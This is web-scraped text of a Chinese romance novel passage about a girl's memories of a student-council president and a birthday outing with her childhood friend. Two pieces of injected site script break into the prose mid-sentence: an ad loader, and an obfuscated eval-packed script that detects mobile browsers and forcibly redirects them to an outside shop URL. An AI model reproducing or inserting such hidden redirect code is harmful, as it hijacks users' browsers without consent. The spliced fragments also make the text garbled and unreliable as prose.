时间还早,倒是不着急回家,两个人便背着书包一起去了。 南川附中是本市百年老校,校风开放,课外活动是出了名的丰富,但对于这样的学校,招收同学的标准和要求也更为严格。 不光对学生的成绩有要求,也关注学生的综合素质发展。 学校不奉承死学习的理论,每个月都会开放匿名提问箱,收集学生们反馈的问题,然后予以调整,相当人性化。 南川附中的国际部更是有很多来自国外的交流生,往年有和国外大学、高中建立深度合作的经历。 校门口旁边的墙上贴的都是各大名校赠送的优质生源基地挂牌,金灿灿排成一片,让人想不看见都难。 高中部不比初中部的严格,到了高中,更偏向于给你画个圈,在不超出原则问题前提下自由发展,这点温遇来的第一天就有体会。 毕竟像这种能在操场上搭棚子,光社团名字就丰富到看花眼的情况,在初中基本不会出现。 也正是这个时候,她才感觉自己又长大了一步。 当温遇拒绝掉第三个想要拉她去自己社团的学长,程以桉悄悄戳了下她肩膀:“一个都不去?我看那个文学社和天文社还不错嘞?” “你喜欢看书,不如去文学社看看?” “不太感兴趣。”温遇偏头看她:“你没想加入什么社团?” “呃……”程以桉突然卡壳,先是环顾四周,然后低声附在温遇耳边:“其实我只是想来看看有没有帅哥,没开学我就在校园墙看一圈了,今天刚好看看能不能对号入座。” 温遇没想到她能准备这么充分。 比期末考试备考还认真。 程以桉说完往她们刚刚经过的位置望了眼:“你看刚才那个天文社副社长还可以诶。” 温遇没太注意,配合句:“是吗。” 温遇一向对这些不太感兴趣,程以桉也没继续让她跟着自己的想法走,最后两个人定了汇合时间,约着结束之后一起去吃甜品。 走到最中间的位置,学生会戴着红袖箍的学长学姐正在为新生普及招新相关内容。 学生会是校园里最大的组织,有不少同学已经堵在那,温遇避开人群,站在一旁往中央讲解的位置看。 靠边上的学姐看见温遇,顺手递给她一本折页宣传册,笑容体贴。 “同学,可以先看这个。如果对学生会感兴趣的话可以去那边领一份申请表。” 温遇双手将宣传册捏住,认真点头。 她本无意加入任何社团,包括学生会,只是刚才看这边人多,便想看看发生了什么。 温遇前脚刚走,她刚刚站的位置过来了一个人,正提着一袋冰镇过的矿泉水过来:“萱怡,这些水一会给大家发一下,都辛苦了。” 胡萱怡看见来人,唇边笑意明显,“好嘞主席。” …… 温遇沿着环形操场转了一圈,手上的宣传册摞起来不亚于一本书的厚度。 八月末的温度仍旧高得不行,她走了一会儿脖子上就冒了汗,偏偏手里还一堆东西,没法从书包里翻纸巾来擦。 她拐到教学楼侧面的阴凉地方,还没等把手里东西放下,就看见有人在整理放在地面上的书。 温遇看向旁边的宣传板,上面赫然写着校园书市。 没想到今天还能赶上书市,温遇有些惊喜。 比起在大太阳下挤得头破血流,倒不如在这阴凉地看个痛快。 可能是位置相对隐蔽的原因,这里除了摆摊的几位学长学姐,基本没有别人。 温遇将手里的一沓宣传册放在最靠边的书旁,便蹲下自顾自挑书。 刚才坐在椅子上翘二郎腿的人看见温遇,眼神亮了亮,见她蹲在那似是找书,懒也不偷了,走到她对面弯下腰。 “同学,你是新生吗?” 温遇没说话,只点了头,出于礼貌,她抬眸看了眼面前的人,然后便低下,视线重新落在一行行铅字上。 “……” 刚要往下介绍的学长突然梗住。 看上去这么甜的萌妹子怎么这么冷。 旁边他同学自然看见刚发生的事,三三两两在那憋笑。 憋了几秒没憋住,有人带头噗嗤笑出声。 温遇听见,抬头有些疑惑地往小声的地方看去,有学姐走到她旁边:“没事学妹,不用管他,他这人就这样,和谁都自来熟。” 她这才往刚才和自己说话的学长身上看,见他似乎有些尴尬,双颊都因为充血微微红起来,后知后觉意识到什么,道了句歉。 十六岁的少女正是发育期,温遇却明显要看上去清瘦些,只有脸上能看出点肉感。 可能也正是因为脸上轻微的肉感,也让她多了点柔和的气质。 像一颗绵软的棉花糖,阳光稍微燎到一点,就能化开。 有时候也可能燎过头,直接着起火来。 比如今天早上她花了快半个小时整理刘海,最后还是翘边,气得她把整个刘海都梳上去,用卡子别好。 发誓在刘海主动和她投降前,绝不把它放下来。 主打一个有仇当场就报,绝不内耗。 刚才有意搭讪的学长有了台阶下,刚才的尴尬基本消失差不多,余光瞥见温遇头顶的小兔子发卡,心底又开始痒痒。 见她手里抱着的书,他试探问:“你喜欢这本《窄门》?” 温遇想说自己还没看,就听他说:“我看过这本,要不我们加个微信聊?” 目的有点太明显,小兔子眼里明显捎上警惕。 气氛凝滞两秒,少女偏头,正想着用什么理由拒绝,一直在等自己回答的学长往她左边看,有所收敛:“主席好。” 他带头,陆陆续续有好几个人喊主席好。 温遇掌心抵在硬质封面,侧头看才站在旁边的人。 细碎额发有打湿的痕迹,眼窝深眼角阔,鼻梁高到落下侧影,上身挺直如竹,符合小说里对少年的惯有描述。 比起刚才程以桉提到的那位天文社副社长,还是眼前的人让她更有印象些。 毕竟常年和谢闻颂呆在一起,她遇见别人说帅哥,总是会下意识和他做比较。 温遇这次倒是没在两个人身上比出高低,只是略微停顿,打算继续看手里的书。 陆星桓点点头,给他们指了个方向;“操场中央有免费领水,你们需要的话可以去。” “这里人怎么这么少?”陆星桓视线在几个看位的同学身上逡巡,注意到正看着他的温遇。 视线几分重合,陆星桓目光划过惊讶,只是很快被压下去,没被人发现。 刚才和温遇搭话的学姐道:“宣传部制作手册的时候忘记把今天书市的消息印上去了,现在所有学生都聚集在操场,基本没人来这。” 原来是这样。 怪不得人这么少。 陆星桓了解情况之后微微颔首,低眸瞄了眼腕表:“我现在去广播站把书市消息发布出去,你们这边一会可能要辛苦点。” 说完他便找了几个同学离开,温遇倒是合上了手上的书。 发布广播之后,这里的人肯定会变多,她不想和人摩肩接踵地看书,把书放回原位就准备离开。 刚才没要到微信的学长在她身后喊了句,人声嘈杂,温遇也没听见。 差不多感觉没什么可继续逛的,温遇刚要问程以桉忙完了没,肩膀被人从后面拍了下。 程以桉给她带了听冰镇七喜,还有一条她平时爱吃的青苹果软糖,温遇拆开,剥了一颗给她。 程以桉摇头,从兜里掏出条橘子汽水味的摇晃示意:“我哥请客,你就吃吧。” 程以灏比她们高一届,理科楼不在附近,怪不得程以桉去了挺长时间。 “我刚才跟着我哥去广播室,结果陆星桓正在那儿。”程以桉垂头咬了口雪糕,突然诶了一声,“你还记得他吗?咱们小时候在一起玩过。” 温遇喝了口汽水,感受口腔里气泡炸开之后的辛辣,同时回忆:“有印象吧。” 有印象这个回复并不是含蓄,温遇确实和他不熟,在他的圈子里,她也只和程以桉比较熟悉。 “没想到他现在都成学生会主席了,刚才我目测他比我哥还高。” 程以桉露出夸张的表情,伸出手比了个高度:“目测至少180加。” 温遇没想到刚才碰到的人是陆星桓,坚硬的椰子壳裂开小口,汩汩回忆涌进,比程以桉刚才提起时来得更快。 果然每个人的小时候和长大都差别很大。 温遇没和她说书市发生的事,今天的经历很快被翻阅过去,她甚至也很少想起,以为这就是最平常的一天,直到她第二次遇见陆星桓。 实话来讲,“遇见”这个词并不准确。 作为学生会主席的陆星桓,经常会出现在学校举办的各个活动,而温遇往往是台下看着他的那个人。 可也只是这样看着,鲜少参加活动的她,自然和陆星桓没什么交集。 所以那次,准确来说也是个意外。 温遇的生日在月中15号,而在温途出生之后,每个月这一天就成了父母固定带他去检查的日子。 一开始没想到温遇的生日在这天,定下之后按照流程走了几个月,要到她生日的时候才发现。 当她第一次因为这件事和父母发生分歧时,是在温途出生不久之后。 她问父母为什么一定要把日子定在这天,他们却说这已经是和医生约定好的事,每个月都是这个日期,也不太好改。 再往下说,就提到温途的身体状况维持到现在是有多么不容易。 可温遇想说,他的病并不是她造成的。 只是每每看到徐翩禾疲惫的眼,这些话又都咽下去。 既然父母那边不方便改,那就只能让温遇妥协。 她也确实妥协了,那之后,她的生日都挪到了14号那天过。 可她十六岁生日即将到来的14号,温途不知怎么,吃过午饭之后突然开始呕吐,情况紧急,徐翩禾和温成钢着急忙慌把他送医院,而选好蛋糕带回来的温遇面对的却是空无一人的家。 她得知前因后果后什么也没说,一个人坐在高脚凳上把整个蛋糕吃完,蜡烛没点,生日帽也没戴。 这些最后被她扔进了垃圾桶。 吃完蛋糕,她自己照常规划好学习休息,到点洗漱睡觉,然后第二天继续早起上学。 仿佛和往常的每一天一样。 第二天早上,她起床看见徐翩禾给自己的留言,说温途吃坏了东西,而且今天还有检查,可能暂时还回不去,说生日回去会给她补过。 温遇嚼面包的动作慢下来,在对话框缓缓打了个好字。 上午体育课自由活动之后,温遇一个人上了教学楼顶楼。 这里是学校的天文台,还有一小块露天活动的地方。 脚迈上最后一级台阶,她专注数台阶数量,眼前突然落下薄薄一层阴影。 她吓一跳,还以为撞见老师了。 温遇仰头,略微紧张的目光被对方全都接住。 一垂头一仰头,四目相对。 温遇扶着栏杆的手指下意识收紧。 陆星桓明显比她更快反应过来,往后撤两步,顺手打开身后的门,笑着看她:“要进来看看吗?” 温遇步伐稍顿,随后跟在他身后进去。 “坐吧。” 陆星桓从角落里拽了把干净的椅子给她,自己则随意靠在桌子上,捋平卷子角,右手大拇指把自动铅笔摁出铅。 温遇的目光定格在角落里支着的望远镜,虽然这里比较宽敞,但是她总感觉拘谨。 尤其是在知道他是陆星桓之后。 “你想看什么,或者想动手尝试什么就去吧,如果不会用设备可以问我。” 温遇注意到他手边放着的正是近期考试卷,上面密密麻麻的笔迹,还有各种颜色的批注。 压在卷子下的应该是草稿纸。 温遇第一次见有人草稿纸比卷子整齐的,思绪分叉间,她听见陆星桓的话,摇了摇头。 “我待到快下课就走,不打扰你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 继续写卷子。” 陆星桓单手撑在桌子上,不明所以笑了声:“我也是偷偷来的,一会也走,不打扰你一个人静心。” 语气里明显带着打趣,温遇愣了两秒也忍俊不禁:“你学人挺有一套的。” “是吗。”陆星桓面不改色,没有因为她的话停顿分毫,“总有人说要向我学习,今天我也学习别人了,挺好。” “……”温遇偏头没说话。 空间安静几秒,只能听见指腹和纸摩擦的细小声。 “你是温遇?” 自己的名字被他念出来,她第一反应是惊讶:“你知道我名字?” 陆星桓不知道她怎么一脸震惊。 好像自己应该不认识她才对。 “以桉的朋友对吧,小时候见过几面。” “那天在书市就认出来了,只是当时太紧张,也没时间叙旧。” 温遇低下头嗯了声,默然掐住指尖,直到疼痛浮现:“你记性挺好的。” “应该说你和小时候变化不大。” 他主动提起小时候,温遇有些恍然,下意识问:“我小时候是什么样的?” 陆星桓目光盯着卷子,脑海却在思索温遇的问题,斟酌道:“比现在活泼一些吧。” 他说完,温遇继续陷入沉默,靠桌子边儿的那只胳膊抵住桌沿,她也不知道自己沉默了多长时间,然后再开口时,尽是落寞。 “今天其实是我生日。” 话说完她自己也反应半天,不知道怎么突然就向仅仅见过几面的人说出这样的话。 温遇看向自己的膝盖。 昨天发生的事,像一根鱼骨头卡在喉咙,吞与不吞,都是难受。 她妥协把每年生日都提前一天,只为了配合温途的固定治疗时间。 连生日蛋糕她都提前买好,可好像还是哪儿做错了。 迎接她的,还是空旷没人的家。 温遇也不知道怎么长大这条路,越走越迷茫。 越想这事心里越堵得慌,温遇不知道自己眼角湿没湿,仓促擦了下就要离开。 “对不起,我先走了,今天的话,希望你就当没听见。” 每个人都有不愿被偷窥的脆弱时刻,她自然也一样。 她刚从椅子上站起来,陆星桓便在身后喊她名字:“今天下午放学你有时间吗,就这个地方。” 仓促离开之下,温遇背对着他点头,然后打开门跑下楼。 到下午约定的时间,温遇早已经将之前的情绪全部消化,谢闻颂还在上晚补,她放下手里的作业本,犹豫了下还是往顶楼跑去。 门留了道缝,她顺着推开,陆星桓正坐在木桌前,桌面上似乎换了张卷子。 他听见响动,看见她的时候笑了下:“温遇妹妹。” 上午的尴尬温遇没忘,现在也必须当作忘掉。 她硬着头皮往里进。 鹌鹑样走到桌边,视线锁住的一小块桌面,被人推过来一个精美的包装盒。 温遇透过透明塑料板看见里面是块小蛋糕。 陆星桓单手托腮,另一只手推过蛋糕就收回:“我妹妹也特别爱吃这家蛋糕,可惜这款店家规定每天一人限买一份,你别告诉她。” 他说完朝温遇眨眼:“拿回去吃吧。” “还有,生日快乐。” 像温遇这么一个并不太爱回忆往昔的人,却总是想起这件事。 十六岁的那块蛋糕味道已经远去,可十六岁的心情还一直能维持到现在。 程以桉也问过她,对陆星桓的喜欢是从什么时候开始的。 她想,或许就是那个时候吧。 但又是为什么始终没有迈出那一步。 并不是缺乏勇气。 而是她曾用一个晚上,想明白一个道理。 自十六岁生日那天开始,她和陆星桓的交集好像比之前多,直至他一声不响出国学习。 没有任何征兆,没有任何留言。 温遇听到他出国的消息之后,在市图书馆坐了一下午。 所有的过往,像一场被泡沫包围的美梦。 而现在,泡沫尽数碎裂。 她于他而言,充其量也只是个普通朋友。 情理之中的难过,她已经痛过了。 所以现在,温遇早知道会有这样一天。 同等重量的痛,她不会再经历第二次。 她不允许自己再难过第二次。 她不特殊,而那一块蛋糕,只是一份习惯性的好心罢了。 她珍惜,她铭记,但不会感动永远。 她也在成长,不愿永远在原地踏步。 所以这次在陆星桓不知道的时候,是她先离开的。 - 霓虹灯透过眼皮还是能在脑海形成模糊的像,温遇迷迷糊糊间,程以桉已经把她送回了家。 程以桉还在担心她会不会是难受过头昏睡过去,其实她只是累。 穿了一天高跟鞋,脚腕又酸又胀,身体上的疲累就足以让她放空思绪,根本没有多余的脑容量想别的事。 程以桉见她是真的又困又累,没有其他难受过度的征象才放她下车。 温遇连包都懒得挎在肩膀上,直接把包链往手上缠了几圈。 一路进楼上电梯,刚迈出电梯,哈欠打到一半,温遇看见站在自己对门的人。 谢闻颂双手环在胸前,看见她之后,目光平淡无波地移开。 仿佛没看见她一样。 “……” 温遇有点无语。 他这人是不是有什么毛病。 那一堵白墙有什么好看的。 “你在干嘛。” 她主动问,谢闻颂这才施舍给她一个眼神,语气不温不凉,故意拖长语调:“看——夜——景——呢——” “……” 您家夜景搁墙上看呐。 温遇也不知道他心情不太好的原因是什么,原地把他从头到脚打量一圈,突然觉得有点好笑。 这人怎么像只炸毛猫。 脾气不好还爱生气。 一生气就冷脸不说话。 摆出一副自己欠他钱的模样。 不对。 她好像的确欠他钱。 温遇后知后觉反应过来。 秉持着对债主的基本礼貌,温遇倒是没急着往家门里进,探究地朝他投注视线。 原本下坠的情绪倒是被他拽上来几分。 温遇玩心渐起。 他不是说他很好哄吗? 想起前几天放在自家展柜里已经准备好的东西,温遇把想法揣好,往他这边走了两步。 谢闻颂仍旧维持靠门姿势,不避不让,就任由她凑近。 只是眼神没再往旁边看,一寸寸挪到她的面庞。 温遇知道自己今天的眼影画得特好看,眼神里涌现出自己都没察觉的骄傲。 温遇将脸凑到他面前,谢闻颂半屈着一条腿还是比她高半个头,更何况她今天还穿了高跟鞋。 谢闻颂单手插兜,就连睫毛也乖顺垂下,像聆听公主悄悄话的忠贞骑士。 如果眼神能说话,那现在它一定摇着尾巴汪汪叫。 温遇在心底切一声。 分明刚才还一副不爱搭理人的样子。 温遇仰头看他,手却趁他注意力分散的时候陡然握住他的手。 一抹温热攀爬肌肤,猝不及防被烫了下,谢闻颂睫毛分明颤动两下,搅碎了倾落在她脸上的昏黄光影。 这么好哄呀。 温遇唇角弯起,连眼梢都带上愉悦的弧度,放软声音喊他的名字。 “谢闻颂。” 他小声嗯了下,仿佛变成听主人话的乖狗狗。 “你要不要过生日?” 26.鱼鱼 26/ 温遇回家换了双鞋就和谢闻颂出去了。 公主裙配洞洞鞋,搭配总有些奇怪。 但她也管不了那么多,只想把脚上的高跟鞋原地踢掉,实在有点痛。 说也奇怪,明明刚回来的时候还一身疲惫,现在换了双鞋,感觉还能再跑五公里。 暮色四合,太阳都打盹准备歇下,他们连续跑了两家diy蛋糕店都跑空,店员都说要下班,没法现场做蛋糕。 又一次坐回副驾驶,谢闻颂单手搭在方向盘上,偏头看她,语调轻松上扬:“继续?” 他向来了解温遇,这人固执得很,像这种事情一般不轻易放弃。 所以他也不会说扫兴话,这是基本的礼貌。 而且是她是陪自己出来过生日的,他怎么能先放弃。 谢闻颂后脑勺枕在靠椅上,看向副驾驶鼓起腮帮子的某人,刚才被她握住的手现在还残存温度似的,烫得他感觉面庞带着耳后一大片皮肤都跟着烧起来了。 说到这,他脑袋挪向窗外,指尖擦过嘴角。 话说,怎么一言不合就牵手啊。 搞得他措手不及。 但又不得不承认的是,谢闻颂自己和自己憋的那股气现在基本已经消散干净。 温遇单单就握了下他的手,他就着急忙慌把自己哄好了。 忒不争气了点。 谢闻颂独自懊恼的功夫,温遇还在搜索附近还在营业的diy蛋糕店,屏幕白光映出她一脸坚定,她想也没想:“必须继续。” 说完她像是翻到了什么,二声诶了句:“这附近是不是有一条胡同来着?” 谢闻颂点开车载导航,他对这附近算不上熟悉,温遇一说,他也得查地图。 “好像是有。” 温遇确定位置,拉着谢闻颂下车,七拐八拐进了一条隐蔽的胡同,快走到头才看见这一家蛋糕店。 前台的小姑娘正在整理纸质资料,懒腰伸到一半看到进来的两个人。 “您好,问一下。现在还能自己做蛋糕吗?” 温遇率先问,如果不可以的话,她还要继续找下家,中间的时间越耽误越影响后面的安排。 “能是能。”那女孩话明显顿了一下,有点为难地看着她,“只是我们只剩下一个素胚,奶油都要现打,装饰品几乎已经用完了,做出来也不会太好看,要不你们明天来……” 温遇眼神却噌一下亮了,扭头看谢闻颂:“你介意吗?我会做蛋糕的,不会做很难看的。” 她在努力向谢闻颂自证。 店里灯光昏昧,颜色像张泛了黄的情书被折皱,有种陈旧的温柔。 谢闻颂目光就那么锁着那张神采奕奕的小脸,温遇眼影亮晶晶的,在这样暗色的环境里尤为明显,仿佛永不湮灭的星河。 他唇角被她的情绪感染到上扬:“不介意。” 听见他没意见,行动力max的鱼鱼同学火速换好围裙洗过手,直奔里面的工作间。 刚要打奶油,她突然意识到一个问题,眼珠转转落到旁边刚把围裙系了一半的谢闻颂身上。 “谢闻颂,能不能麻烦你一件事……” “你能不能去胡同口旁边买盒果切回来?我刚才忘记了。” 语调越走越低。 谢闻颂把蝴蝶结重新拆开,随手撩了把挡视野的额发,路过温遇时轻轻扯了下她围裙的系带,低声笑。 尾调懒散,像手心里忽地抓了把青涩嫩草。 听得人心痒痒的。 “今天听公主的。” …… 温遇之前自己经常做饭,打个奶油根本不是难事。 对她来说,这个比在临下班时间找一家能做蛋糕的店简单多了。 她一个人动手就足够,旁边的谢闻颂双手拄在台子上,专注看她操作。 温遇以为他是想试试,把抹刀柄递给他:“你试试?一边转底下的转台一边抹。” 谢闻颂第一次自己做蛋糕,手法略微生涩,握住抹刀的那只手明显动作不那么流畅,僵在那不知道要怎么做。 他抿抿唇角,下意识往旁边看。 温遇见惯他厉害的模样,很少见到这么不知所措的谢闻颂,憋笑着伸出手,指腹贴上他的手腕。 熟悉的温度再次贴上来,谢闻颂感觉肌肤相触的时候自己连刀都拿不稳了。 怎么又一言不合就牵手! 谢闻颂耳后的温度腾一下飙高。 温遇丝毫没察觉他的不对劲,带着他的手牵引抹刀往没抹好奶油的位置贴:“在这儿。” 谢闻颂根本没听清她说什么,唇角用力抿到发白,指腹猛然发力收紧刀柄。 温遇松开他的手,才发现谢闻颂额角的一滴汗,目露疑惑:“你很热吗?” 谢闻颂摇摇头,把刮刀递还给她:“太难了,我还是看老师操作吧。” 温遇垂眼笑了声:“交给我吧。” 今天来得太晚,店里的装饰蛋糕的材料基本都用完了,所以温遇才让谢闻颂去带盒果切,挑出几块切碎放在两层蛋糕胚中间,剩下的还能摞在最上面点缀颜色。 提着蛋糕离开的时候,店员小姑娘把翻箱倒柜找出来的一套生日帽和彩色蜡烛递给他们,眼神在他俩之间逡巡,微笑脸:“两位生日快乐,百年好合。” 百、年、好、合? 什么鬼? 温遇眼睛瞪大,连忙摆手:“不是不是……” 谢闻颂看兔子被这句话吓得不轻,半握拳抵在唇边掩饰那抹偷笑。 兔子慌张的时候,也蛮可爱的嘛。 …… 两个人在附近找了家还在热闹的海鲜大排档落座。 刚来的时候收获了不少目光。 温遇身上的裙子虽然被程以桉吐槽太素了,不过其实特别适合她。 淡粉色抹胸款,欧根纱拉成细条缠绕,把腰部线条勾勒出来,下摆自然垂到脚踝,是不容易发皱的材质。加上她背薄,这种裙子刚好能完美展现肩颈线,她穿上有种纤瘦到破碎的美感。 温遇微微收拢裙摆坐在木椅上,周围喧阗嘈杂,地面甚至还有被丢弃的垃圾。 也就是这样乱糟糟的环境里,坐了一个小公主。 她恬静漂亮,想让人把世界上最珍贵的东西送给她。 谢闻颂也在想,自己怎么把公主给拐出来了。 后来又意识到,这次其实是公主拐他。 能有这么一次机会不容易。 于是他又自我攻略上了。 谢闻颂把蛋糕放在桌子上,手指勾住外包装的浅蓝色蝴蝶结丝带,抽出空给温遇递了份菜单:“想吃什么,你先点。” 温遇手指搭在塑封上,没急着把菜单抽过来,开玩笑似的开口:“真随便点?” 她明显知道什么,果然,谢闻颂听见这个语气,眼神向上抬瞥了她一眼。 “除了蚕蛹。” 小时候温遇胆子大,曾经拿这个逗过他,当时谢闻颂知道它,但还不知道这小小蚕蛹到他手里之后突然转了一下身体,给他吓一跳。 后来任凭别人说这东西营养价值有多高他都没再碰过。 事实证明,童年留下的阴影会陪伴人的一生。 温遇显然是记得这件事才出言噎他,谢闻颂却在心底松口气。 放在这么犄角旮旯的记忆,她还记得。 然后他又想。 只要和他的记忆她还没忘,就好。 温遇将菜单放在一边,手机扫桌边二维码点餐,旁边传来陌生女生略带紧张的声音。 “你好,可以加一个联系方式吗?” 刚点开小程序的温遇抬头,刚好瞅见女生要谢闻颂微信的一幕。 她装作没看见继续低头看手机,谢闻颂在这时开口:“抱歉,不太方便。” 温遇缓了几秒抬高视线,刚好和要微信的女生对视了一眼,在后者眼里发现了然的情绪。 刚才她其实注意到温遇,但以为她和男生只是朋友关系,所以才大着胆子问一句。 没想到,并不是普通朋友啊。 女孩回到位置上,收到朋友八卦的眼神。 “人家有女朋友,在那坐着呢。” 对面朋友啊一声,视线又瞟了眼温遇和谢闻颂:“那女生一看妥妥是甜妹,不过刚才落座那会儿,对面那男生都没说几句话,我还以为他俩不熟呢?” 说完意识到什么,坏笑:“甜妹和冷脸哥,这个cp你磕不磕?” 女生面无表情开始扒虾,“磕陌生人cp,我有病啊我。” “不过。”她面色迟疑,目光往温遇的位置看去,“谁会不喜欢甜妹,反正我有点微醺了。” 朋友:? 你转移注意力的速度也太快了吧。 刚才还说想要那男生的微信,现在就换人了? “你说。”她拉长字音,“假如我去要那女孩微信,应该不会被拒绝吧。” 对面朋友明显对她这个想法持怀疑态度:“你当着冷脸哥的面要他女朋友微信啊,我担心你说完之后会不会死。” “为什么会死?” “他会用眼神把你冻死。” “……” 这个天是彻底聊死了。 以温遇的视角,就是那女生走回自己的位置,和朋友说什么之后,眼睛都瞪大了。 不是。 她不会是误会什么了吧。 徒留温遇一个人风中凌乱。 反观谢闻颂,跟个没事人一样给蛋糕插上蜡烛。 对面视线太强烈,他抽了张纸巾擦手,目光落到温遇身上:“有事?” “你不觉得她刚刚误会了什么吗?” “误会什么?” 这是打算彻底装死了,温遇白眼不敢翻到明面上,只能在心里特怂地吐槽一句。 “误会我俩的关系啊。” 谢闻颂擦完手又不慌不忙给自己和温遇的杯子倒了杯水,倒之前还贴心用热水烫了一下。 对于这个问题,其实谢闻颂比她更想知道:“我俩什么关系?” 青梅竹马摆到明面上说起来有点暧昧,温遇想了想:“好哥们?” 谢闻颂倒水的动作稍顿,没什么情绪回复过去:“那作为好哥们,帮我个忙应该不算难吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938519|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这下温遇没话说了,当思绪挪到屏幕上看了一半的菜单时,她突然想到什么,开口问:“那你有喜欢的人吗?” 答案近在眼前,谢闻颂却不打算回答,直接反问:“你有吗?” 温遇的第六感觉得这个问题有点危险,刚想逃避就和他视线撞上。 “可能……有吧。” 谢闻颂没好气地笑一声,显然是被她这个回答气笑了:“怎么,喜欢得这么不坚定?” 温遇不知道他哪来的脾气,自己的傲娇劲儿也上来,嘴上不饶人:“怎么,你喜欢一个人喜欢得很坚定?” “……” 四目相对,双方都秉持着谁先移开视线谁先输的原则僵持着。 本以为这是一场世纪大战,却不曾想,无声战役很快落下帷幕,谢闻颂率先低头,避开这个问题。 温遇以为他是心虚了,作为胜者心情自然不差,她甚至还能哼着歌点菜。 能在某人这赢一次不容易,管他是不是让着自己。 洋洋得意了半分钟,温遇怎么觉得自己越来越无赖了。 她想,这绝对是谢闻颂的错! …… 大排档出餐很快,大大小小的盘子填满木桌上的每个空缺,不过最醒目的,还是中间那个蛋糕。 果切有一部分被她切碎作为奶油夹层放在蛋糕胚之间,剩下的都放在最上面,裱花奶油在周围堆了一个圈,彩色水果位于中央,还挺好看。 温遇托腮欣赏了会自己做的蛋糕,越看越好看。 刚才点菜的功夫谢闻颂就已经把蜡烛插上了,却难在了没有打火机这事上。 谢闻颂不抽烟,只能管邻座大哥借了一个。 大哥似乎也是听见他俩的对话,一副“哥都是过来人的表情”,目光有点暧昧在他们身上打转了一圈,最后给谢闻颂一个鼓励的眼神。 “兄弟,加油。” “……” 光他加油有什么用。 谢闻颂卡在嘴边的那句谢谢缓了两秒才说出口。 这温遇没听见,只是感觉大哥说了什么之后,谢闻颂转过身之后的表情怪怪的。 几根蜡烛都被点燃,细微的火苗边缘都被空气模糊化,勾勒一圈不太明显的影子。 火光之上,是对面人过分好看的脸。 温遇其实一直觉得帅是一种感觉,甚至在某些时刻可以演变为一些难以描述的氛围感,直到她想着想着看到谢闻颂的那张脸。 突然理解网上说的“披个麻袋都帅”是什么感觉。 谢闻颂也确实属于那种一眼望过去特别显眼的长相,只是他不怎么说话的时候,给人的感觉不太好自然熟悉起来。 可是今天,温遇感觉他以往披露的棱角都收起来。 尤其是在她说要不要出来过生日的时候。 这个想法冒出来时她都没想到,可能是突然想到那份给迟的礼物,也可能是想到自己不太圆满的十六岁生日。 人往往会在触发过去的某个回忆时和现在正在发生的某件事联系到一起,比如说现在。 她看向被细微气流吹得往一边撇的火苗,那里面好像也有个小小的人影。 那是十六岁的温遇。 那个面对空荡荡的家一滴眼泪都没掉的温遇,那个以为自己已经足够坚强的温遇。 那个把情绪转移,拼命学习仿佛不知道累的温遇,那个虽然看起来坚强却还是躲在被窝里流过眼泪的温遇。 她一直很努力地成长为现在,被很多人夸过的,很优秀的温遇。 心底好像掉落了一颗又酸又甜的糖,现在被灼热化开,不断扩散蔓延。 烧蜡烛的味道不刺鼻,但是存在感仍旧明显,像那些不太美好的回忆,时间流淌过将它磨成钝角,虽然不能成为扎进心底最深的刺,但也没有其他办法将其忘掉。 温遇发现自己又在想刚才发生的事,怕被谢闻颂看出异样,急忙把自己从中抽离出来。 如果深陷回忆太久,会变得不快乐。 她不太想让自己这样。 “许愿,然后吹蜡烛吧。” 温遇若无其事地从火苗上移开目光,对准后面正坐着的人。 谢闻颂似乎笑了一下,带着诱哄道:“你先把眼睛闭上。” 温遇看了眼蛋糕又看了眼他,一脸防备:“你不会是要往我脸上抹奶油吧。” “我哪儿那么无聊。” 这次温遇闭上眼,双手乖乖放于膝盖,耳侧的一绺碎发刚好压在唇上。 她感觉到,伸手挑开,殊不知谢闻颂正看着她,目光是从没暴露过的晦暗。 “好了吗?”她问。 “等一下。” 温遇又等了会儿,直到头顶落下轻柔重量。 她下意识睁眼,手往头上摸,那是皇冠样的生日帽。 她刚想拿下来,谢闻颂却先一步制止她,等到温遇的手重新落回原位,怔怔看着他,谢闻颂低头挽唇,抬头时视线如同当晚月光一样扑在她身上。 月色泄露出一缕温柔,正好落在温遇身上。 “皇冠给你戴。” “这是公主专属。” 27.鱼鱼 27/ 把皇冠给温遇戴上,谢闻颂才微微前俯将几根蜡烛都吹灭。 几缕白烟消散在空气中,温遇用筷子夹了个麻辣花蛤放进餐盘里,低头的时候皇冠掉下来,她眼疾手快接住。 在谢闻颂没看到的角落,温遇想了想,最后还是把它折好放进了跨包里。 今晚月色不错,偶然间的一个抬头,温遇看见了半弯的月牙。 以前也有很多时刻,她也有难以纾解的心事,然后这些在晚上酝酿,她习惯性仰视望月亮,好像只要注视着那抹光,心就能变平静。 又或者是借月想某件事某个人,这些习惯好像还是在读书的时候养成。 谢闻颂已经在切蛋糕了,温遇单手托腮,接过他递来的纸盘,问出心里刚刚在想的那个问题。 “谢闻颂,你一般有难以排解的心事会怎么做?” 温遇打心眼里觉得学霸的排解方式一定有种独到之处,比如高三学校邀请上一届高考成绩优异的同学来给大家做学习讲座。 第一位学长是竞赛保送生,不过他也选择参加高考,并且成绩位列年级前五。 说完这些title之后,底下已经有人开始倒抽气了。 怎么高考好像在人家眼里跟玩似的。 那男生在提到自己用什么方式缓解高考压力时,下意识推了推鼻梁上的眼镜。 “我一般觉得压力大的时候,就会把物理竞赛的卷子翻出来做,得到快感之后再去重新做刚才断掉的事。” “……” 底下听讲座的人一片寂静。 温遇露出了一言难尽的表情,靠在她肩膀的程以桉赶紧收收泛滥到嘴边的口水,一脸茫然醒来:“咋了?终于结束了?” 温遇面无表情地转头,将她的眼睛盖住:“你还是继续睡吧。” 这下程以桉更没负担,将校服领口拉高,盖住嘴角,陷入二度睡眠。 有了第一位学长的前车之鉴,下一位学长明显幽默多了,顺便还提了一下刚才的人。 